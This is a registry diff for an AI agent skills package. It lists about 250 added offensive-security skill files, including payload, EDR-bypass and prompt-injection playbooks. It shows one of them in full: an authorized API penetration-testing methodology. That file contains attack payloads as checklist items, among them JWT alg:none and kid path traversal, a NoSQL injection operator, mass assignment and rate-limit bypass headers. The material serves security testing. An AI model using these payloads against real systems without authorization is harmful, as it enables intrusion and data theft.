opencode-skills-collection 4.0.43 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,205 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: api-security
|
|
3
|
+
description: "Authorized security assessment of REST, GraphQL, WebSocket, and SOAP APIs: discovery, authentication and authorization flaws (BOLA/IDOR, JWT/OAuth), rate-limit testing, and a structured multi-phase methodology."
|
|
4
|
+
risk: offensive
|
|
5
|
+
source: "https://github.com/zhaoxuya520/reverse-skill"
|
|
6
|
+
source_repo: "zhaoxuya520/reverse-skill"
|
|
7
|
+
source_type: community
|
|
8
|
+
date_added: "2026-08-25"
|
|
9
|
+
license: "MIT"
|
|
10
|
+
license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
|
|
11
|
+
---
|
|
12
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
13
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
14
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
15
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
16
|
+
|
|
17
|
+
> **Mandatory confirmation gate**
|
|
18
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
19
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
20
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
21
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
22
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
23
|
+
>
|
|
24
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
25
|
+
|
|
26
|
+
# API 安全测试
|
|
27
|
+
## When to Use
|
|
28
|
+
|
|
29
|
+
- An authorized assessment covers API endpoints and you need a structured discovery-to-report workflow.
|
|
30
|
+
- Testing API authentication, authorization, or rate-limiting behavior within an approved scope.
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
## 适用场景
|
|
34
|
+
|
|
35
|
+
- REST API 安全测试(OpenAPI/Swagger 驱动或盲测)
|
|
36
|
+
- GraphQL 安全审计(内省、批查询、别名过载)
|
|
37
|
+
- WebSocket 安全测试
|
|
38
|
+
- JWT / OAuth 2.0 认证测试
|
|
39
|
+
- BOLA/IDOR/BFLA 授权漏洞检测
|
|
40
|
+
- API 限速绕过与 DoS 测试
|
|
41
|
+
|
|
42
|
+
## 10 阶段测试流程
|
|
43
|
+
|
|
44
|
+
### Phase 1: API 发现与侦察
|
|
45
|
+
|
|
46
|
+
```text
|
|
47
|
+
主动发现:
|
|
48
|
+
□ Vespasian: 无头浏览器爬取 → 自动生成 OpenAPI 3.0 / GraphQL SDL 规范
|
|
49
|
+
□ Entropy --discover: 从 robots.txt + JS 文件提取端点
|
|
50
|
+
□ Kiterunner / ffuf: 爆破未文档化的端点路径
|
|
51
|
+
□ 检查常见路径: /swagger.json, /openapi.json, /graphql, /api-docs
|
|
52
|
+
|
|
53
|
+
GraphQL 内省(三级尝试):
|
|
54
|
+
1. 标准内省查询
|
|
55
|
+
2. 精简查询(绕过 WAF 全量封禁)
|
|
56
|
+
3. 仅查 __schema { types { name } }(最小探测)
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Phase 2: 认证测试
|
|
60
|
+
|
|
61
|
+
```text
|
|
62
|
+
JWT 分析(jwt_tool / Burp):
|
|
63
|
+
□ alg:none 攻击: 修改头部为 "alg":"none",清空签名
|
|
64
|
+
□ 密钥混淆: RS256 公钥 → HS256 对称密钥
|
|
65
|
+
□ 弱 HMAC 密钥爆破: jwt_tool -C -d wordlist.txt
|
|
66
|
+
□ 过期/声明篡改: 修改 exp/iat/sub/role 声明
|
|
67
|
+
□ kid 注入: ../../etc/passwd → HMAC 签名绕过
|
|
68
|
+
|
|
69
|
+
OAuth 2.0:
|
|
70
|
+
□ redirect_uri 操控 → 授权码泄漏
|
|
71
|
+
□ CSRF via state 参数缺失
|
|
72
|
+
□ Token 在 Referer 头泄漏
|
|
73
|
+
□ PKCE 缺失检测
|
|
74
|
+
|
|
75
|
+
GraphQL 认证:
|
|
76
|
+
□ mutation 通过 GET 请求绕过认证(CSRF)
|
|
77
|
+
□ 批查询认证绕过
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### Phase 3: 授权测试(BOLA/IDOR/BFLA)
|
|
81
|
+
|
|
82
|
+
```text
|
|
83
|
+
BOLA(对象级授权绕过):
|
|
84
|
+
□ 遍历数字 ID: /user/1 → /user/2 → /user/3
|
|
85
|
+
□ 遍历 UUID
|
|
86
|
+
□ 遍历用户名/邮箱
|
|
87
|
+
□ Burp Autorize: 双会话重放对比
|
|
88
|
+
|
|
89
|
+
BFLA(功能级授权绕过):
|
|
90
|
+
□ 普通用户执行管理员 API
|
|
91
|
+
□ HTTP 方法切换: GET → PUT → PATCH → DELETE
|
|
92
|
+
□ API 版本降级: /v2/admin → /v1/admin
|
|
93
|
+
□ 批量操作注入: {"users": [1,2,3]} → {"users": [1,2,3,admin_id]}
|
|
94
|
+
|
|
95
|
+
工具: Burp Autorize, AuthMatrix, Entropy (malicious_insider persona)
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
### Phase 4: GraphQL 专项
|
|
99
|
+
|
|
100
|
+
```text
|
|
101
|
+
内省泄漏 → 信息暴露检测
|
|
102
|
+
别名过载 → 100+ 别名 DoS
|
|
103
|
+
批查询 → 10+ 同时查询 DoS
|
|
104
|
+
字段重复 → __typename × 500
|
|
105
|
+
指令过载 → 递归 @skip/@include
|
|
106
|
+
循环查询 → 深度嵌套内省递归
|
|
107
|
+
字段建议 → 错误消息信息泄漏
|
|
108
|
+
GraphiQL/Playground 暴露 → IDE 公开风险
|
|
109
|
+
GET 突变 → CSRF 风险
|
|
110
|
+
追踪/调试模式 → 元数据泄漏
|
|
111
|
+
|
|
112
|
+
工具: FireTail, Escape DAST, api.sh (Phases 1-3)
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
### Phase 5: REST 输入验证
|
|
116
|
+
|
|
117
|
+
```text
|
|
118
|
+
□ HTTP 方法切换: GET→POST→PUT→DELETE→OPTIONS→PATCH
|
|
119
|
+
□ Content-Type 篡改: JSON→XML→multipart
|
|
120
|
+
□ NoSQL 注入: {"username": {"$gt": ""}}
|
|
121
|
+
□ SSRF via URL 参数: webhook URL/头像 URL/导入 URL
|
|
122
|
+
□ XXE in XML 端点
|
|
123
|
+
□ 参数污染: /api?role=user&role=admin
|
|
124
|
+
□ 批量赋值: 向请求体添加 is_admin: true
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
### Phase 6: 业务逻辑与差分测试
|
|
128
|
+
|
|
129
|
+
```text
|
|
130
|
+
□ Entropy compare: diff v1 vs v2 API → 状态码变化/字段删除/延迟回归
|
|
131
|
+
□ 多角色工作流测试: admin/user/readonly 权限矩阵
|
|
132
|
+
□ 优惠券/积分/价格操控
|
|
133
|
+
□ 竞态条件: 并发请求测试 TOCTOU
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
### Phase 7: WebSocket 测试
|
|
137
|
+
|
|
138
|
+
```text
|
|
139
|
+
□ 端点发现
|
|
140
|
+
□ 消息注入(注入 payload、原型污染)
|
|
141
|
+
□ 超大消息处理
|
|
142
|
+
□ 类型混淆
|
|
143
|
+
□ 跨站点 WebSocket 劫持(CSWH)
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
### Phase 8: 限速与 DoS
|
|
147
|
+
|
|
148
|
+
```text
|
|
149
|
+
□ 限速绕过 via 头部: X-Forwarded-For, X-Real-IP
|
|
150
|
+
□ 路径变体: /api/ → /api → /Api/ → /API/
|
|
151
|
+
□ Slowloris 低带宽耗尽
|
|
152
|
+
□ GraphQL 批查询深度嵌套 DoS
|
|
153
|
+
□ IP 轮换测试(ProxyCat 代理池)
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
### Phase 9: 数据暴露
|
|
157
|
+
|
|
158
|
+
```text
|
|
159
|
+
□ 响应过度暴露: 对比 API 返回 vs UI 展示
|
|
160
|
+
□ 分页枚举: ?page=1&limit=10000
|
|
